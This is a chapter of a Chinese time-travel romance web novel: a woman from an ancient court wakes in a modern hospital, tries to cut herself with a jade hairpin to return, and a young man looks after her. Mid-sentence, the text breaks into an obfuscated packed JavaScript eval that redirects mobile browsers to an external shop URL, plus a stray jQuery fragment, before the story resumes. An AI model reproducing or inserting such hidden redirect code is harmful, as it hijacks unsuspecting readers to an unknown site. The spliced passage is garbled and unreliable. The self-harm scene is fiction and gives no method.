李端姝全然不明就里,“今晨我说了何等话语?”
齐见钰目光深深地望着她,缓缓站起身。
李端姝飞快扫过他一眼,心中蓦地生出无措,指尖无意识地摩挲着衣角,整个人往后缩,最终一下坐到床边。
齐见钰并未向前,只是眉头紧锁地注视她,半晌,眉眼不自知地耷拉下来,“没什么。”
他把玉簪还给她,自己坐在床边椅子上,“不管怎么说,你都别伤害自己。不然,不然。”
李端姝惶惑不解,直愣愣地瞧着他看。
齐见钰卡顿一下,磕磕绊绊地接下去,“不然我不是白花这么多钱了嘛。”
“你看啊,”他掰着指头计数,神情专注,“你平日在这儿不吃不喝一天都要花上四位数,更不说还有诊疗费和药品费,零零总总的开支根本算不清。李……”
齐见钰抬起头,“阿至,你要明白一点,你的身体很珍贵。”
李端姝原先一头雾水,大多内容都没听懂,唯独最后一句,她视线直直凝滞,望着他不动半分。
“夫妻之间本就该彼此照拂,我怎会心生这般念头?此事也不足挂怀,我唯独挂念你的身体。”
她看见一模一样的人立于肃王府暮色廊下同她讲:“阿至,这才是最为紧要之事。”
李端姝眼睛忽地发酸,一脸哀伤的神情,话音带着不易察觉的哽咽,“你唤我什么?”
齐见钰望见她欲落的泪水,心口处传来绵密似针的刺痛,手抬起又收回,不知安放何处。
李端姝压下铺天盖地的情绪,稳着声音道:“你方才唤我什么?”
齐见钰嗓子发干,喉结上下滚动一遭,轻声道:“阿至。”
李端姝捏紧玉簪,手背青筋微凸,刚刚压下去的情绪去而复返,随之奔涌而出,“君究竟何人?”
她肩膀微微耸动,瞬间红了眼睛,执着问道:“君当真姓齐,名见钰?”
齐见钰不想惹她哭,当即点头,“当真。”
“字呢?”
“没字,”齐见钰诚实道:“我们这边不兴起这个。”
他抬手在她眼前晃晃,“你为什么哭啊?我的名字听起来很令人伤心吗?”
齐见钰心口感受到疼痛,好似得到肯定回答,不由得嘀嘀咕咕,“这还是我爸妈特意找老师给我取的呢。宋老师很有名,是京川大学历史学院的中国史教授。他有时讲话也文绉绉的,说不定你和他能有些共同话题可聊。”
李端姝看着他,纵使容貌、名姓一般无二,又能如何?他终究不是她的夫君。
她落泪之时,夫君断然不会是这般反应。
她心中最后一丝念想尽数散去,肩头缓缓垮落,未几,恢复寻常疏离,“君何以此称我?”
齐见钰想起这个就坐立难安,身体稍稍转侧,目光偏向墙角,极小声说:“你今早跟我讲的。”
他悄悄瞄她一眼,不顾因果颠倒地继续,“当时你正发着高烧,我想叫醒你。然后你便和我说,不要叫你李令晏,要唤你阿至。”
“阿至,”他又念了一遍,问,“这是你的小名吗?”
李端姝只挑自己能听懂的听,脑子里对这件事没有任何记忆。她躺回床榻,出神地盯着屋顶一处,“乳名。”
她像是联想到一些不好事情,从齐见钰这个角度看,她那双清秀澄澈的眼眸低垂着,长睫轻掩,叫人看不出情绪,但却掩饰不住周遭挥之不去的淡淡悲伤。
齐见钰开口打破病房突如其来的安静,“乳名?”他念念有词,“那你这个乳名还挺好听的。”
李端姝眼里有了浅淡笑意,眸光明亮,“这是我娘亲与我取的。”
据她爹爹所言,娘亲临盆之日,他正领兵在外征战,未归府中。而她降生之时,塞外家书恰好送至府内,乃是一份捷报。
娘亲喜极而泣地抱着她,泪水浸湿襁褓,“寇贼凭陵,竭诚守御,奇谋间出,捷书日至。”
薛氏笑了笑,柔声问道:“以后,爹娘便唤你阿至可好?”
怀中的孩子只安安静静地偎在襁褓里闭眸休憩,不哭也不闹。
薛氏抱紧她,声声呼唤,“阿至,阿至。”
齐见钰不知道她又想起了什么,神情带着无限眷恋,他忽然认为自己不能随随便便地这么叫她,询问说:“要不我以后还是叫你李令晏吧。”
“好。”李端姝点了点头。
“……”齐见钰不禁一脸幽怨。
就不能答应得稍微慢点?之前明明是她要求他称呼为“阿至”的,现在怎么说翻脸就翻脸。
齐见钰无由郁闷。
李端姝没在意到他,反手摸出玉簪,“我想回到大玄。”
她这般离去,不知爹爹心中会作何念想。
李端姝推开被褥坐起来,徐徐挽起袖口,缓声道:“我来时,食指曾被这支簪子划伤,故而我试着还原彼时光景。”
说完,李端姝以簪子尾端对着腕间来回比度,想要找寻适当位置。
齐见钰看清她的动作,本能打算阻止。
不待他伸出手,她便握着玉簪一不做二不休地划了下去。
李端姝用了十分力道,但这簪子伤不了她分毫,腕间不见伤口,唯有一道长长红印。
她不相信,转而用簪尾对准食指,竟也不见伤口。
怎会如此?
李端姝已然顾不得许多,用簪尾朝着自身任何一个部位划去,激烈决绝,透着一股万念俱灰后的偏执。
目睹全程的齐见钰终于伸出手,隔着病服牢牢攥紧她的手腕,“可以了!”
他取走她掌心物品。这支玉簪通身圆滑清润,除非受到外力撞击或者人为损害,否则毫无可能成为锋利锐器。
齐见钰从一开始便对她的话心存质疑,看见她这样伤害自己,他更加认定心中猜想——仅仅一天,她病得愈发严重了。
李端姝抬头望他,眉眼间含着一股不肯妥协的坚持,“我方才所言句句属实,绝无欺瞒。”
她伸出食指,欲消除他审视目光中的猜忌,字字斟酌,“这道还未愈合的伤口,正是由这支玉簪所伤。”
齐见钰不反驳,目光难言纷杂。
李端姝离他近些,让他看得更清楚,自己则思忖,“为何今夜不行?”
她一脸忧心忡忡,仿佛这种事情真的存在,心底不知在细细盘算什么,眉宇间鲜活灵动,显得生气许多。
齐见钰长久地看着她,勉为其难地笑了一下,嘴角微动,终是宽慰她道:“或许以后就可以了。”
他望见她手腕、手背上横亘的一道道红痕,心头一紧,将原本要递出的玉簪无声无息地藏至身后,话到嘴边,硬生生转了个弯,“你吃过晚饭了吗?”
李端姝没听懂,“什么?”
齐见钰灵光乍现,白话译成古文,“就是晚膳用过了么?”
李端姝这下听懂了,缓缓摇头。
齐见钰示意她躺下,教她盖好被子,“我去买些吃食,你在这里等我。”
李端姝望着他搭在被褥上的双手,下巴突然扬起,又硬生生地止住,只是点头轻嗯一声。
齐见钰没有离开,忽而四下扫视一周,视线牢牢定格在一处,随即笑着朝她道:“等我一下。”
李端姝不明所以,目光追随他的一举一动。
齐见钰走到病房书架旁,挑挑拣拣,找到一本她能看懂的书——一本儿童绘本。
齐见钰拿着绘本回到床边,“喏。”
李端姝懵懵懂懂地双手接下。
齐见钰笑了笑,手指着她怀里那本绘本,“你看完一半的时候,我也就回来了。”
怕她听不懂,他躬身挨至她身侧,翻动绘本,捏住大概一半的厚度,晃了晃,“就是你要读完这些。这下能明白吗?”
李端姝鼻间漫入他身上好闻的味道,一如午后独坐书斋,翻开古旧经卷时扑面而来的气息,沉木清润,令人安然。
她稍稍向后避开些许,“嗯。”
齐见钰松了口气,放心离开病房。到达门口时骤然转过头,目光紧锁住她,“不许乱开空调。”
“何为空调?”
“空调,”齐见钰自言自语地掏出手机,“空调即空气调节器,发明者为威利斯·开利,是指利用人工手段,在封闭空间内,对空气的温度、湿度、流速及清洁度进行部分或全部调节……”
他果断退出搜索引擎,一脸的郑重其事,“简单来说,空调是一种天热可吹冷风、天冷可吹热风的电器。”
李端姝低眸思考,转瞬后,诚恳求教,“电器为何?”
“电器是指所有需要用电的器具。”
李端姝更为迷茫不知,“用电?”
“……”齐见钰直觉不能再解释下去了,否则她会变成“十万个是什么”,而他会变成智能语音助手。
齐见钰屈指敲敲墙壁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756539|209250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的显示屏,表情严肃板正得像是在用粉笔敲黑板,“这里不可随意触碰。”
“好。”李端姝颔首应允。
齐见钰走出病房,关上门,发信息让徐叔去买晚饭并特意备注清淡些,做完这一切,他直奔顶楼院长办公室。
蒋院长刚打开从家里送来的晚饭,听见敲门声,手忙脚乱地把饭盒收好,扬声道:“进。”
看清楚进来的人是谁,他心头一松,起身绕过办公桌,坐到接客沙发上,顺便招呼他也坐,“见钰啊。”
“蒋叔,”齐见钰开门见山地问道:“李令晏的精神检查结果怎么样?”
他脸色凝重,“我觉得她变严重了。”
蒋院长没有太多当面接触李令晏的经验,不敢妄下结论,“病人今天的身体状况不适宜做这种检查,还没来得及做。”
齐见钰点头,久久没说话,似乎在思忖极其重要的事情。
蒋院长不敢打扰,内心挂念着那份便当,耐住饥饿等了一会儿,接着换个坐姿又等了会儿,最后摆出微笑,“还有需要我配合的事项吗?”
齐见钰恍然回神,“没了。”
他确实没什么要说的,只是嗅到空气里鲜香的鱼汤味,考虑到李令晏会不会也想吃。可这时熬也只能当做宵夜,等下记得叮嘱她少吃一点。
齐见钰乘电梯下楼,穿过大厅,走至医院花园,不经意往旁边瞥一眼,低头看着手机,转眼又望去,“吴助理?”
间隔太远,齐见钰不够确定,握着手机走近几步,确认自己没认错。
他有些疑惑,吴助理是他哥的私人秘书,二十四小时待命,怎么会出现在这里?
不远处。
吴助理在和一位女士说话,“钱已汇到您卡上,城郊那套房子也已过户至你名下。如果万小姐没什么问题的话,我先失陪了。另外,请您不用再联系小齐总。”
他收起她刚刚甩在自己眼前的那张报告单,公事公办,“就当这张纸从来都不存在过。”
万澄是一名小有名气的模特,素来以厌世脸著称,此时却变得面目扭曲,歇斯底里,“这些话是他原话?!我要去找他,我要和他当面谈论。”
“万小姐,”吴助理伸手一拦,礼貌朝她笑笑,“这里是医院,大声喧哗总归是不好的。”
他放下手,“小齐总有事要忙,不方便见您,”
万澄眼睛红了,固执问道:“这话也是他说的吗?”
吴助理不置可否,“以上都是小齐总的意思,您应当明白的。”
“不明白!”万澄下意识地抚摸自己的肚子,泪水直流,“我怀孕了,怀了他的孩子,现在这样让孩子怎么办?”
吴助理抬手看了下表,“我不是和您提过了吗?”
他赶时间,客气说道:“就当从来没存在过。”
“失陪,万小姐。”
万澄蹲在地上,泣不成声。
她原本以为,只要怀上齐见珩的孩子,她便可以一跃成为齐太太,后生衣食无忧。那么多人都失败了,唯她不一样。不行,她绝不能轻易放弃这个可能。
徐叔到达医院门口,瞧见蹲在马路旁的人有些眼熟,他降下车窗,“见钰。”
齐见钰循着声音望过去,“徐叔。”
他蹲得时间太长,站起来时腿发麻,疼得他一脸痛苦。
徐叔没忍住笑了,拎着保温袋下车,“您为什么会蹲在这里?”
齐见钰接过袋子,不愿多说,“反正我也没事,直接来取就行,省得徐叔你再往里跑。”
说完,他一脸痛苦地往医院里走,还不忘挥手告别,“拜拜徐叔,晚点再来接我。”
齐见钰拖着僵硬的双腿回到702病房。
他把袋子放到餐桌上,打开,拿出大大小小的保温盒,将饭菜和筷子摆好。
“李令晏。”
“……”根本无人应答,他隔着柜子探头望向病床,只见李端姝仍坐在床上阅读那本绘本,看得津津有味。
齐见钰走过去,“吃饭了。”
李端姝沉迷图画无法自拔,对外界所有声音都置之不理。
齐见钰只好和她一起看,发现她翻得很快,他还没读完画面中的文字,她就已经翻到下一页了,他不由得按住书,问,“你能识得其中意思?”
“不识得。”
李端姝忽然想到什么,看着他,眼底流露出渴望,“君可否说与我听?”